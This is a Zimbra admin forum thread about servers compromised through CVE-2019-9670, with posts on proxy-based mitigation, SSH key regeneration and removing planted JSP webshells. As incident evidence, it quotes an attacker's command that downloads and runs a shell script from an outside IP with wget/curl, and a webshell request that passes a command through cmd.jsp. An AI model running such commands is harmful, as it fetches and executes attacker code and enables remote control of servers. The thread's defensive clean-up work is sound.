CVE-2019-9670 being actively exploited (Hacked Server)

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
halfgaar
Advanced member
Advanced member
Posts: 171
Joined: Sat Sep 13, 2014 12:54 am
Location: Netherlands
ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
Contact:

Re: CVE-2019-9670 being actively exploited

Post by halfgaar »

if you have a vulnerable zimbra installation you're vulnerable, you cannot add mitigation (probably only a WAF could do something).
I'm not advocating not patching, but the following will work. I'm going with my default position of not trusting authentication mechanisms of hosted apps, so I set up an HTTP proxy with authentication. HTTP/HTTPS and 7071 (admin port) are closed, and only available through the proxy. The best candidate server I had runs Apache, so I made it in Apache:

Code: Select all

<VirtualHost *:80>
        RewriteEngine on
        RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [L,R]
        ServerName webmail.example.net
</VirtualHost>

<VirtualHost *:443>
        ServerName webmail.example.net
        ServerAdmin webmaster@localhost

        SSLEngine on
        SSLCertificateFile    /etc/letsencrypt/live/webmail.example.net/cert.pem
        SSLCertificateKeyFile /etc/letsencrypt/live/webmail.example.net/privkey.pem
        SSLCertificateChainFile /etc/letsencrypt/live/webmail.example.net/chain.pem

        SSLProxyEngine On
        ProxyPass        / https://mail.example.net/
        ProxyPassReverse / https://mail.example.net/

        <Location /dav>
                Satisfy any
                Require all granted
        </Location>

        <Location /.well-known/>
                Satisfy any
                Require all granted
        </Location>

        <Location /principals/>
                Satisfy any
                Require all granted
        </Location>

        <Location /SOGo/>
                Satisfy any
                Require all granted
        </Location>

        <Location /groupdav.php>
                Satisfy any
                Require all granted
        </Location>

        <Location />
                AuthType Basic
                AuthName "Foobar"
                AuthUserFile /etc/apache2/htpasswd/webmail
                Require valid-user
        </Location>

        ErrorLog ${APACHE_LOG_DIR}/webmail.example.net/error.log
        CustomLog ${APACHE_LOG_DIR}/webmail.example.net/access.log combined
</VirtualHost>
The 'Require all granted` blocks are for CardDAV and CalDAV (and Let's Encrypt). So far, everything works.

BTW: one should also run:

Code: Select all

su - zimbra
zmsshkeygen
zmupdateauthkeys
The SSH identity file (/opt/zimbra/.ssh/zimbra_identity) could have been taken.

All in all, I can't shake how polite this hack is. It's almost a smoke screen. With the zimbra user, you have access to everything, potentially: install authorized_keys, crontabs in spools, upload all mail from the server. You can even falsify the access logs, because they're also owned by zimbra. Yet all that is done is mine Bitcoin? A severely inefficient process (1000 servers is about one ASIC miner). And, the access logs on my server started seeing these POSTs march 28, and it was only yesterday that the mining started...

Because of a daily backup of dumped accounts, I see a very steady rhythm of network traffic. There is no extra peak, so it appears my entire e-mail archive wasn't downloaded. But, they could have...

Next up, find out why the update notifier doesn't work. '/opt/zimbra/libexec/zmcheckversion -c' is called by cron, but just says 'Too early' when I run it from the command line.
User avatar
pup_seba
Outstanding Member
Outstanding Member
Posts: 687
Joined: Sat Sep 13, 2014 2:43 am
Location: Tarragona - Spain
Contact:

Re: CVE-2019-9670 being actively exploited

Post by pup_seba »

Hi halfgaar,

This thing of the check versions not working was reported here viewtopic.php?f=15&t=66011&p=289875#p289875 by CarlCox. Do you think it may be related to this exploit? It seems to me that is just another bug.
halfgaar
Advanced member
Advanced member
Posts: 171
Joined: Sat Sep 13, 2014 12:54 am
Location: Netherlands
ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
Contact:

Re: CVE-2019-9670 being actively exploited

Post by halfgaar »

pup_seba wrote:Hi halfgaar,

This thing of the check versions not working was reported here viewtopic.php?f=15&t=66011&p=289875#p289875 by CarlCox. Do you think it may be related to this exploit? It seems to me that is just another bug.
Well, it's related in that I was running an exploitable version without knowing it. Had I gotten an e-mail saying "CRITICAL update available", I would not have been running an exploitable version of Zimbra.

In fact, this exploit even warranted an e-mail to the entire forum user base, if you ask me. As I said, the hacker could have downloaded all my mail; could have done anything.
phoenix
Ambassador
Ambassador
Posts: 27272
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: CVE-2019-9670 being actively exploited

Post by phoenix »

halfgaar wrote:In fact, this exploit even warranted an e-mail to the entire forum user base, if you ask me.
I wholeheartedly agree with you but, as I've said many times, Synacor seem to have very little interest in engaging with the community on these forums. I'd go so far as to say that their attitude verges on contempt for anything that's done and said here. I don't take any pleasure in making these comments but I do wish that they would do something, anything, to show that even know we're here.
Regards

Bill

Rspamd: A high performance spamassassin replacement

Per ardua ad astra
halfgaar
Advanced member
Advanced member
Posts: 171
Joined: Sat Sep 13, 2014 12:54 am
Location: Netherlands
ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
Contact:

Re: CVE-2019-9670 being actively exploited

Post by halfgaar »

I just subscribed to the subforums 'Announcements' and 'Community News' (so that I get e-mail), and I would be in favour of using those subforums for important announcements, by lack of any kind of security mailing list. In fact, a sticky post saying that that subforum acts as mailing list that you can subscribe to may be in order.

News about this exploit could go there too, I think. I'd post it, but since there is this topic, I don't want to start creating duplicates.
sandres
Posts: 2
Joined: Wed Apr 24, 2019 1:35 pm

Re: CVE-2019-9670 being actively exploited

Post by sandres »

Even after patching our installation, we see that it gets exploited again and again.

Code: Select all

root@mail:/tmp# cat zmpatch.log
Mon Apr 15 09:21:37 2019 Previous version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Current  version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Current Version: 8.7.11_GA_1854
Mon Apr 15 09:21:37 2019 Deploying patch for 8.7.11_GA
Mon Apr 15 09:21:37 2019 Updating files for package zimbra-core
[...]
Mon Apr 15 09:21:37 2019 /opt/zimbra/jetty-distribution-9.3.5.v20151012/webapps/zimbra/js/CalendarCore_all.js...
Mon Apr 15 09:21:37 2019 copied.
I have followed https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/ to cleanup all malicious jsp files and patched the system.
How can I make sure that it will not get exploited again without manually fiddling with the nginx config (which will just be overwritten by zimbra automatically?).

From today:

Code: Select all

zimbra   32645  0.0  0.0   4492   648 ?        S    07:38   0:00 /bin/sh -c wget http://177.53.8.84:8081/s.sh -O /tmp/s.sh;curl http://177.53.8.84:8081/s.sh -L > /tmp/s.sh;sh  /tmp/s.sh
zimbra   32647  0.0  0.0  24896  1756 ?        S    07:38   0:00 wget http://177.53.8.84:8081/s.sh -O /tmp/s.sh
User avatar
maxxer
Outstanding Member
Outstanding Member
Posts: 224
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by maxxer »

sandres wrote:I have followed https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/ to cleanup all malicious jsp files and patched the system.
Did you try restarting Zimbra after removing all the crappy jsp/java files? I had a similar situation once and restarting after cleanup seemed to help.

Also are you sure there are no unexpected user accounts in zimbra?
halfgaar
Advanced member
Advanced member
Posts: 171
Joined: Sat Sep 13, 2014 12:54 am
Location: Netherlands
ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
Contact:

Re: CVE-2019-9670 being actively exploited

Post by halfgaar »

Don't forget to also remove the *.class files. Every jsp file will have a corresponding class file.

And indeed look for the user accounts. Part of the attack is calling jsp files uploaded by a user account. These are then subsequently accessed like this:

Code: Select all

POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp
( as you can see that is 'rm -rf /opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp')
You should look at your nginx.access* logs and see if you have entries with 'cmd' in them, and also see how the requests from that IP start. Is it still the SOAP entry? Or perhaps indeed one of those JSP files?
sandres
Posts: 2
Joined: Wed Apr 24, 2019 1:35 pm

Re: CVE-2019-9670 being actively exploited

Post by sandres »

maxxer wrote:
sandres wrote:I have followed https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/ to cleanup all malicious jsp files and patched the system.
Did you try restarting Zimbra after removing all the crappy jsp/java files? I had a similar situation once and restarting after cleanup seemed to help.

Also are you sure there are no unexpected user accounts in zimbra?

I cannot find any new accounts. I've restarted zimbra after upgrading, maybe I've deleted the files afterwards.

Code: Select all

root@mail:/tmp# find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
  5379115     40 -rw-rw-r--   1 zimbra   zimbra      39386 Apr 15 09:21 /opt/zimbra/jetty/webapps/zimbra/public/login.jsp
  5378963     20 -rw-rw-r--   1 zimbra   zimbra      20222 Apr 15 09:21 /opt/zimbra/jetty/webapps/zimbra/public/hostedlogin.jsp
root@mail:/tmp# find /opt/zimbra/jetty/ -name “*_jsp.java” -mtime -15 -ls
root@mail:/tmp# find /opt/zimbra/jetty/ -name “*.class” -mtime -15 -ls
I'll delete those again and restart now, thanks for your quick reply.
halfgaar
Advanced member
Advanced member
Posts: 171
Joined: Sat Sep 13, 2014 12:54 am
Location: Netherlands
ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
Contact:

Re: CVE-2019-9670 being actively exploited

Post by halfgaar »

Don't delete those files!!!

The point of that find command is to find jsp/class files younger than 15 days. It all depends on when you last upgraded zimbra and when this hack started. For me, it started on March 28, so you need to change -15 in -35, or something. But, since you already upgraded zimbra, you'll have to use your own judgement in determening which files are legit and which aren't. The random string ones aren't.

Otherwise, post them, and we can tell you.
Post Reply